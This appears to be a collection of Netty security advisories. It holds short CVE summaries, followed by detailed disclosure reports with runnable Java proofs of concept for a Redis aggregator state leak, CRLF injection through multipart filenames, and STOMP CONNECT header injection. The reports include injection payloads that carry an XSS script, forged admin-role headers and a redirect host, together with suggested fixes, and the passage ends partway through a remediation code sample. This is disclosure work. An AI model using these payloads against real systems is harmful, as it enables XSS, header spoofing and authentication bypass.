See how netty compares to other vendors in security performance
The Netty configuration distribution service (port 8283) of super-diamond-server <= 1.3.3 has no authentication mechanism. Attackers can directly obtain the full configuration of any project (including database passwords, API keys, etc.) by sending a TCP request without any credential.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.137.Final and 4.2.17.Final, MqttEncoder does not validate client identifiers, will topics, usernames, and PUBLISH topic names before encoding, allowing prohibited null bytes in MQTT UTF-8 string fields and potentially causing routing, access-control, or identity mismatches in downstream brokers. The vulnerability is exploitable when an application uses Netty's MQTT encoder to construct messages from user-controlled input. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.
Netty (io.netty:netty-codec-socks) versions 4.2.0.Final through 4.2.16.Final and 4.1.x through 4.1.136.Final contain null byte, CRLF, and credential injection vulnerabilities in the SOCKS4 (Socks4ClientEncoder) and SOCKS5 (Socks5ClientEncoder) client encoders, which fail to validate domain address and authentication (username/password) fields. An attacker able to control these fields can inject null bytes or CRLF characters to truncate or alter values, potentially enabling domain spoofing, SOCKS4 userid truncation, authentication data injection, and protocol confusion. Fixed in 4.2.17.Final and 4.1.137.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.137.Fina and 4.2.17.Final, io.netty.handler.ssl.SslClientHelloHandler#decode checks the wrong offset before reading the four-byte TLS handshake header, so a ClientHello whose handshake header spans records can cause an IndexOutOfBoundsException and invoke select(ctx, null). This selects the default SslContext instead of the SNI-specific context. In deployments where per-SNI clientAuth=REQUIRE is the sole mutual TLS gate, the default SslContext uses clientAuth=NONE or clientAuth=OPTIONAL, and no application-layer certificate verification exists, an unauthenticated remote attacker can bypass the protected route's mutual TLS requirement. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.137.Final and 4.2.17.Final, the default io.netty.handler.ssl.SniHandler constructors use the pre-handshake ClientHello aggregation path in handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java at io.netty.handler.ssl.SslClientHelloHandler#decode, where handshakeBuffer.clear() and writeBytes() recopy all previously received body bytes for every additional TLS record. An unauthenticated remote peer can advertise a large ClientHello and deliver its body in thousands of tiny records, causing quadratic CPU work on the event loop before the TLS handshake completes and degrading TLS handling for other clients. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.dns.AbstractDnsRecord, io.netty.handler.codec.dns.DefaultDnsRecordDecoder.decodeRecord(), and io.netty.handler.codec.dns.DnsCodecUtil.decompressDomainName() failed to release retained or newly allocated ByteBuf objects when IDN.toASCII() or encodeDomainName() rejected a malformed domain name, allowing unauthenticated remote DNS packets to leak direct memory incrementally until denial of service. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.xml.XmlFrameDecoder.decode() failed to preserve closing-tag parser state across invocations, so an unauthenticated remote attacker could trickle-feed repeated </ sequences that repeatedly rescanned the accumulated buffer and exhausted an EventLoop thread's CPU, causing denial of service with a maxFrameLength of 1 MB. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Summary
RedisArrayAggregator clears retained partial aggregate state when the maxNestedArrayDepth limit is exceeded, but it does not clear the same state when the sibling maxElements limit is exceeded. A peer can start a valid RESP array, send a bulk-string child, then send a nested array header longer than the configured maxElements. Netty throws a decoder exception, but the existing partial aggregate remains retained in the handler.
If the application leaves the channel alive after the exception, later messages are still consumed into the pre-error aggregate. The supplied PoV proves both the retained ByteBuf reference and the stale parser state continuation.
Technical Details
RedisArrayAggregator.decode(...) retains non-array messages before adding them to depths.peek().children. In decodeRedisArrayHeader(...), the header.length() > maxElements branch throws immediately:
java if (header.length() > maxElements) { throw new CodecException("this codec doesn't support longer length than " + maxElements); }
The immediately following nested-depth branch clears retained aggregate state before throwing:
java if (depths.size() >= maxNestedArrayDepth) { releaseAndClearDepths(); throw new CodecException("max nested array depth exceeded: " + maxNestedArrayDepth); }
The missing cleanup in the first branch leaves retained children and aggregate state reachable after the exception.
PoC
Place the supplied RedisArrayAggregatorIncompleteCleanupPovTest.java under:
codec-redis/src/test/java/io/netty/handler/codec/redis/
Run:
fish ./mvnw -pl codec-redis -am -Dtest=RedisArrayAggregatorIncompleteCleanupPovTest -Dsurefire.failIfNoSpecifiedTests=false -DskipNativeTests -DskipAutobahnTests test
The test suite includes:
- serialized RESP trigger through RedisDecoder, RedisBulkStringAggregator, and RedisArrayAggregator; - direct refcount proof that max-elements overflow does not release the retained child immediately; - post-exception continuation proof that the stale aggregate consumes a later message; - nested-depth controls that clear the same partial aggregate state.
All five tests pass on current 4.2, 4.2.15.Final, and 4.1.135.Final.
Impact
For Redis codec pipelines that continue after codec exceptions, an unauthenticated peer can keep attacker-controlled aggregate state alive across a security-limit exception. This can pin retained pooled buffers until channel close/removal or until a later message completes the stale aggregate.
RedisBulkStringAggregator permits bulk strings up to RedisConstants.REDISMESSAGEMAXLENGTH (512MB), so the retained child can be large in deployments that aggregate untrusted Redis streams.
Applications that always close the channel or remove the handler on decoder exceptions will trigger existing cleanup; the issue is the missing immediate cleanup on the max-elements failure path while the handler remains installed.
Suggested Fix
Call releaseAndClearDepths() before throwing from the max-elements branch. Consider applying the same cleanup to all unrecoverable decodeRedisArrayHeader(...) error exits that can occur while depths is non-empty.
Affected Package/Versions
io.netty:netty-codec-redis
Confirmed on:
- current 4.2 branch head 7bae566a93e69409697fe57fa807910ba5c9720e - 4.2.15.Final at a41f7b289ce1 - 4.1.135.Final at f05f765d8146
Advisory History
This differs from the public Redis codec advisories because it reproduces on their patched tags:
- GHSA-5w86-c3rq-vjj7 - GHSA-3244-j874-rhc2 / CVE-2026-44250 - GHSA-6jv9-x5w9-2ccm / CVE-2026-48006 - GHSA-6ghj-frrj-jjj3 / CVE-2026-44890
Why This Is Not Intended Behavior
The public API docs document RedisArrayAggregator as aggregating RedisMessage parts into ArrayRedisMessage and document a CodecException when an array header exceeds maxElements. They do not document preserving pre-exception partial aggregate state after that limit fires.
The adjacent nested-depth branch already calls releaseAndClearDepths() before throwing. The max-elements branch is the sibling aggregation-limit branch but throws without cleanup. Netty's later Redis lifecycle cleanup patch explicitly added release behavior for nested-array failure and handler removal, leaving the max-elements failure branch as a missed cleanup path.
Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final, the HTTP decoder in netty-codec-http fails to properly limit decompression of HTTP body content encoded with gzip or other compression algorithms. An attacker can send HTTP requests with highly compressed payloads that decompress to enormous sizes, causing memory exhaustion and denial of service. This issue is fixed in versions 4.1.136.Final and later.
Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-http multipart) | | Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | CVSS 3.1 Score | 8.1 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N | | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | Low (attacker must be able to upload files with controlled filenames) | | User Interaction | None | | Scope | Unchanged | | Confidentiality Impact | High | | Integrity Impact | High | | Availability Impact | None |
2. Affected Components
The following classes in the codec-http module are affected:
- io.netty.handler.codec.http.multipart.HttpPostRequestEncoder — directly concatenates unvalidated filename/name into Content-Disposition MIME headers (lines 519, 633, 674, 682, 686-688) - io.netty.handler.codec.http.multipart.DiskFileUpload — setFilename() only checks null (line 78) - io.netty.handler.codec.http.multipart.MemoryFileUpload — setFilename() only checks null (line 60) - io.netty.handler.codec.http.multipart.MixedFileUpload — setFilename() delegates without validation (line 62)
3. Vulnerability Description
Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.
Root Cause
In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:
java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.FORMDATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENTDISPOSITION + ": " + HttpHeaderValues.FORMDATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION
The setFilename() method in all FileUpload implementations only checks for null:
java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION }
Comparison with Similar Fixed CVEs
This vulnerability follows the same pattern as:
| CVE | Component | Fix | |-----|-----------|-----| | GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() | | GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() |
The multipart encoder has no equivalent validation for filenames or field names.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. The application uses Netty's HttpPostRequestEncoder to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does not perform its own CRLF sanitization on filenames
Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames
5. Attack Scenarios
Scenario 1: Content-Type Override via Filename Injection
An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:
java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";
DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF8, fileSize);
Wire format: --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg
<script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ...
If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.
Scenario 2: Arbitrary MIME Header Injection
java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";
Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.
Scenario 3: Multipart Boundary Confusion
java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";
By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server
6. Proof of Concept
Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.; import io.netty.handler.codec.http.multipart.;
import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets;
/ PoC: HTTP Multipart Content-Disposition Header Injection via Filename Demonstrates that HttpPostRequestEncoder does not validate filenames for CRLF characters, allowing injection of arbitrary MIME headers into multipart form data. / public class MultipartFilenameInjectionPoC {
public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");
testFilenameInjection();
System.out.println("\n=== PoC Complete ==="); }
static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------");
// Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); }
// Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--";
HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP11, HttpMethod.POST, "/upload");
HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF8, HttpPostRequestEncoder.EncoderMode.RFC3986);
DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF8, tempFile.length()); fileUpload.setContent(tempFile);
encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest();
// Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF8)); chunk.release(); } } encoder.cleanFiles();
String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---");
boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO"));
tempFile.delete(); } }
How to Compile and Run
bash Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q
Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':')
Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Multipart Filename CRLF Injection PoC ===
[TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--
Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r ---
Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description | |----------------|-------------| | Confidentiality | HIGH — Injected headers may bypass access controls or leak tokens | | Integrity | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation | | Content-Type Spoofing | Override application/octet-stream to text/html to serve executable content | | Stored XSS | Inject <script> tags via Content-Type override when uploaded files are served back | | Form Field Override | Inject new multipart boundaries to create/override form fields | | Downstream Injection | Custom MIME headers may affect middleware, CDN, or storage layer behavior |
8. Remediation Recommendations
Option 1: Validate in FileUpload.setFilename() (Recommended)
java // DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; }
Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)
Escape or reject CRLF characters when building Content-Disposition headers:
java // HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; }
// Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");
Option 3: RFC 2231/5987 Encoding for Filenames
Use proper RFC 2231 encoding for filenames with special characters:
java // Encode filename per RFC 5987: // filename=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename=" + encodedFilename + "\r\n");
9. References
- RFC 2183: Content-Disposition Header Field - RFC 7578: Returning Values from Forms: multipart/form-data - RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters - CWE-93: Improper Neutralization of CRLF Sequences - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers - GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern) - GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)
Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-stomp) | | Component | io.netty.handler.codec.stomp.StompSubframeEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers | | Impact | STOMP Header Injection / Authentication Bypass | | CVSS 3.1 Score | 6.5 (Medium) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N | | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | Low | | User Interaction | None | | Scope | Unchanged | | Confidentiality Impact | None | | Integrity Impact | High | | Availability Impact | None |
2. Affected Components
- io.netty.handler.codec.stomp.StompSubframeEncoder — encodeHeaders() method (lines 174-200) - io.netty.handler.codec.stomp.StompSubframeEncoder — shouldEscape() method (lines 214-216)
3. Vulnerability Description
The Netty STOMP codec encoder (StompSubframeEncoder) intentionally skips the escape() function for CONNECT and CONNECTED commands. This means that newline characters (\n) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.
Root Cause
In StompSubframeEncoder.java, the shouldEscape() method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:
java private static boolean shouldEscape(StompCommand command) { return command != StompCommand.CONNECT && command != StompCommand.CONNECTED; }
When shouldEscape() returns false, header values are written without any escaping (line 195):
java CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue(); ByteBufUtil.writeUtf8(buf, headerValue); // Raw \n written to output buf.writeByte(StompConstants.LF);
For other commands (SEND, SUBSCRIBE, etc.), the escape() method (lines 218-240) correctly converts \n to \\n, \r to \\r, : to \\c, and \\ to \\\\.
STOMP Specification Context and Security Analysis
The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should not use escaping, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.
However, "no escaping" does not mean "no validation". The specification's intent is that CONNECT headers should not use the \n → \\n escape notation. It does not mandate that implementations must accept raw newline characters within header values. There is a critical distinction:
- Escaping = converting \n to \\n in the wire format (spec says: don't do this for CONNECT) - Validation = rejecting header values that contain \n (spec does not prohibit this)
Netty's implementation conflates these two concepts: by skipping escape(), it also skips all protection against newline injection. The correct behavior would be to skip escaping but still reject values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw \n.
This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.
Additionally, Netty's own test suite explicitly validates this non-escaping behavior in StompSubframeEncoderTest.java:126-143 (testNotEscapeStompHeadersForConnectCommand), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.
Summary: The vulnerability exists because:
1. Header values in CONNECT frames are neither escaped nor validated for newlines 2. A raw newline in a header value creates a new header line on the wire 3. The STOMP broker parses each line as a separate header 4. The fix should validate (reject \n) rather than escape (convert \n to \\n), maintaining spec compliance
4. Exploitability Prerequisites
This vulnerability is exploitable when all of the following conditions are met:
1. The application uses Netty's codec-stomp module to encode STOMP frames 2. User-controlled input is placed into header values of a CONNECT or CONNECTED frame 3. The application does not perform its own newline sanitization 4. The downstream STOMP broker processes the injected headers (broker-dependent)
Typical affected use cases: - STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials - Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms - Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames
5. Attack Scenarios
Scenario 1: Authentication Bypass via Header Injection
An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:
java DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().set(StompHeaders.HOST, "localhost"); frame.headers().set(StompHeaders.LOGIN, "guest"); // Attacker injects a role header via \n in passcode frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true");
Wire format sent to broker: CONNECT host:localhost login:guest passcode:password admin-role:true <-- INJECTED HEADER <-- Empty line (end of headers) \0
The broker receives 5 headers instead of the intended 4. If the broker checks for an admin-role header to grant elevated privileges, the attacker bypasses authentication.
Scenario 2: Subscription Hijacking
java frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com");
This overwrites the host header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).
Scenario 3: Header Overwrite
java frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin");
Wire format: CONNECT login:user login:admin <-- INJECTED, may override first ...
Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the admin account.
6. Proof of Concept
Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.stomp.;
import java.nio.charset.StandardCharsets;
/ PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability Demonstrates that StompSubframeEncoder skips escape() for CONNECT and CONNECTED commands, allowing \n injection in header values to create additional STOMP headers. / public class StompConnectHeaderInjectionPoC {
public static void main(String[] args) { System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n");
testConnectHeaderInjection(); testConnectVsOtherCommand();
System.out.println("\n=== PoC Complete ==="); }
/ Test 1: CONNECT command header injection via \n in value / static void testConnectHeaderInjection() { System.out.println("[TEST 1] CONNECT Header Value Injection"); System.out.println("-----------------------------------------");
// Craft a CONNECT frame with \n in passcode value DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set(StompHeaders.ACCEPTVERSION, "1.2"); headers.set(StompHeaders.LOGIN, "user"); headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true");
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF8); output.release(); channel.finishAndReleaseAll();
System.out.println("Input passcode: \"password\\nadmin-role:true\""); System.out.println(); System.out.println("Encoded STOMP frame:"); System.out.println("---"); // Show with visible control chars for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r").replace("\0", "\\0")); } System.out.println("---");
// Check if the injected header appears as a separate line boolean hasInjectedHeader = false; String[] lines = encoded.split("\n"); for (String line : lines) { if (line.startsWith("admin-role:")) { hasInjectedHeader = true; break; } }
System.out.println(); System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader); System.out.println("VULNERABLE: " + (hasInjectedHeader ? "YES - Header injection in CONNECT frame!" : "NO"));
// Count actual STOMP headers (lines between command and empty line) int headerCount = 0; boolean inHeaders = false; for (String line : lines) { if (line.equals("CONNECT")) { inHeaders = true; continue; } if (inHeaders && line.trim().isEmpty()) break; if (inHeaders && line.contains(":")) headerCount++; } System.out.println("Expected headers: 4 (host, accept-version, login, passcode)"); System.out.println("Actual headers: " + headerCount); System.out.println(); }
/ Test 2: Compare CONNECT (no escape) vs SEND (with escape) / static void testConnectVsOtherCommand() { System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison"); System.out.println("--------------------------------------------");
String maliciousValue = "value\ninjected:evil";
// Test CONNECT (no escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set("custom", maliciousValue);
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF8); output.release(); channel.finishAndReleaseAll();
System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Raw \\n in output: " + hasRawNewline); System.out.println(" VULNERABLE: " + (hasRawNewline ? "YES" : "NO")); }
System.out.println();
// Test SEND (with escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.DESTINATION, "/queue/test"); headers.set("custom", maliciousValue);
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF8); output.release(); channel.finishAndReleaseAll();
System.out.println("SEND frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil"); boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Escaped \\n: " + hasEscapedNewline); System.out.println(" Raw \\n: " + hasRawNewline); System.out.println(" SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO")); } System.out.println(); } }
How to Compile and Run
bash Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':')
Compile and run javac -cp "$JARS" StompConnectHeaderInjectionPoC.java java -cp "$JARS:." StompConnectHeaderInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty STOMP CONNECT Header Injection PoC ===
[TEST 1] CONNECT Header Value Injection ----------------------------------------- Input passcode: "password\nadmin-role:true"
Encoded STOMP frame: --- CONNECT host:localhost accept-version:1.2 login:user passcode:password admin-role:true <-- INJECTED HEADER
\0 ---
Injected 'admin-role' appears as separate header: true VULNERABLE: YES - Header injection in CONNECT frame! Expected headers: 4 (host, accept-version, login, passcode) Actual headers: 5
[TEST 2] CONNECT vs SEND Escape Comparison -------------------------------------------- CONNECT frame with custom="value\ninjected:evil": Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0 Raw \n in output: true VULNERABLE: YES
SEND frame with custom="value\ninjected:evil": Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0 Escaped \n: true Raw \n: false SAFE: YES
=== PoC Complete ===
Key Observation
The PoC demonstrates a clear inconsistency: - CONNECT command: \n is written raw → header injection succeeds - SEND command: \n is escaped to \\n → header injection prevented
7. Impact Analysis
| Impact Category | Description | |----------------|-------------| | Authentication | Injected headers may bypass broker authentication logic | | Authorization | Role escalation via injected role/permission headers | | Integrity | Modification of connection parameters (host, version, etc.) | | Broker-Specific | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |
Affected Brokers
This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:
- RabbitMQ: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins - ActiveMQ: May process custom headers for internal routing - Custom Brokers: Most likely to be affected if they trust all received headers
8. Remediation Recommendations
Option 1: Validate CONNECT Header Values (Recommended)
Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:
java private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) { StompCommand command = frame.command(); ByteBufUtil.writeUtf8(buf, command.toString()); buf.writeByte(StompConstants.LF);
boolean shouldEscape = shouldEscape(command); for (Entry<CharSequence, CharSequence> entry : frame.headers()) { CharSequence headerKey = entry.getKey(); CharSequence headerValue = entry.getValue();
if (shouldEscape) { headerKey = escape(headerKey); headerValue = escape(headerValue); } else { // For CONNECT/CONNECTED: don't escape but REJECT newlines validateNoNewlines(headerKey, "header name"); validateNoNewlines(headerValue, "header value"); }
